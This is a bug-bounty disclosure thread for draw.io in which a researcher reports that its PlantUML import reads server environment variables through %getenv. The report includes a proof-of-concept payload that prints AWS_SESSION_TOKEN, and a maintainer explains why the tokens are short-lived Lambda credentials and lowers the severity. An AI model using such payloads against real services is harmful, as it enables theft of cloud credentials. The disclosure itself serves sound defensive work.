AWS credentials exposure in jgraph/drawio


Reported on

Mar 29th 2023

Description allow the insertion of PlantUML objects. This feature is using an old and misconfigured version of PlantUML (1.2022.6), therefore, it is possible to exploit dangerous functions such as %getenv to read environment variables in the machine where PlantUML is running.

I was able to exploit this functions to print the following environment variables


I didn't try to access your AWS environment to avoid generating alerts, but I'm pretty sure this credentials works.

Proof of Concept

  1. go to
  2. Create a new project
  3. Arrange -> Insert -> Advanced -> PlantUML
  4. Paste this code

AWS_SESSION_TOKEN: %substr(%getenv("AWS_SESSION_TOKEN"), 0, 100)
%substr(%getenv("AWS_SESSION_TOKEN"), 100, 100)
%substr(%getenv("AWS_SESSION_TOKEN"), 200, 100)
%substr(%getenv("AWS_SESSION_TOKEN"), 300, 100)
%substr(%getenv("AWS_SESSION_TOKEN"), 400, 100)
%substr(%getenv("AWS_SESSION_TOKEN"), 500, 100)
%substr(%getenv("AWS_SESSION_TOKEN"), 600, 100)
%substr(%getenv("AWS_SESSION_TOKEN"), 700, 100)
%substr(%getenv("AWS_SESSION_TOKEN"), 800, 100)
%substr(%getenv("AWS_SESSION_TOKEN"), 900, 100)
end note


I was able to access full AWS Credentials related to

AWS_REGION: eu-central-1

Screenshot screen_1

If an attacker can read arbitrary environment variables that contain AWS credentials, they can gain unauthorized access to your AWS account and perform malicious activities such as creating new resources, modifying existing resources, stealing data, launching attacks, escalating privileges, hiding their activities, and generating costs.

We are processing your report and will contact the jgraph/drawio team within 24 hours. 2 months ago
David Benson
2 months ago

It's a good idea, thanks for your report. If we used a general VM on AWS and AWS was our production system for everything, it would indeed be a high scoring attack.

Just to note, attacks on our production system at are within scope, even if they are different to the project.

In this case the architecture is siginificantly different and we don't have a plantUML version in the repo.

The main app is deployed from Google Cloud and Cloudflare. On AWS we have two imports functions only, as lambda functions, one of which is the PlantUML import.

With lambda, each instance runs with a set of temporary credentials, see This means the credentials outputed are the credentials for that single instance created for your call. The instance is killed after the call.

This means the credentials don't actually access anything after you've received them, they are invalid at that point.

So, I will have to go through and change the severity to reflect our exact deployment. I'm sorry that it will be very low and there won't be a reward, but the idea was certainly a good one.

David Benson modified the Severity from Critical (10) to None (0) 2 months ago
David Benson
2 months ago

To clarify the severities changed:

Scope: The scope is unchanged, there is no access to further resources in this attack. Confidentiality: There is no access to anything confidential, the tokens only apply to the instance you spin up and nothing else. Intergrity: There is no effect on system integrity, no data is ever stored on AWS even if the tokens allowed access. Availablity: There is no effect on availabilty, other lambda instances will spin up normally with their own credentials.

The researcher has received a minor penalty to their credibility for miscalculating the severity: -1
David Benson validated this vulnerability 2 months ago

I will mark as valid since the PlantUML deployment is out of date and even these keys shouldn't be exposed, regardless of effect.

omareltf has been awarded the disclosure bounty
The fix bounty is now up for grabs
The researcher's credibility has increased: +7
David Benson marked this as fixed in 21.1.2 with commit 8d9a99 2 months ago
The fix bounty has been dropped
This vulnerability will not receive a CVE
David Benson published this vulnerability 2 months ago
David Benson
2 months ago

I've marked as fixed without a repo commit as it's specific to our deployment. The path to deploy the lambda has been removed for now, so the call isn't possible.

2 months ago


While I appreciate your perspective, I respectfully disagree that the exfiltration of AWS credentials from a Lambda function is not a significant vulnerability (i.e. doesn't have effects on integrity, confidentiality and availability). If an attacker were to gain access to these credentials, it is possible that they could escalate privileges and potentially gain access to other Lambda functions or AWS resources.

I did not attempt to exploit these credentials for privilege escalation or unauthorized access to other resources, so I cannot prove that this is the case. However, the possibility of privilege escalation is not excluded and should be taken seriously.

David Benson
2 months ago

No, they cannot access anything else, please read the link I sent previously.

David Benson
2 months ago

But yes, it's obviously a tricky point as to whether or not you attempt to use the credentials for an attack to prove your point. I did repeat the call you made and attempted to use the credentials, all the calls I made were rejected for invalid authenication.

to join this conversation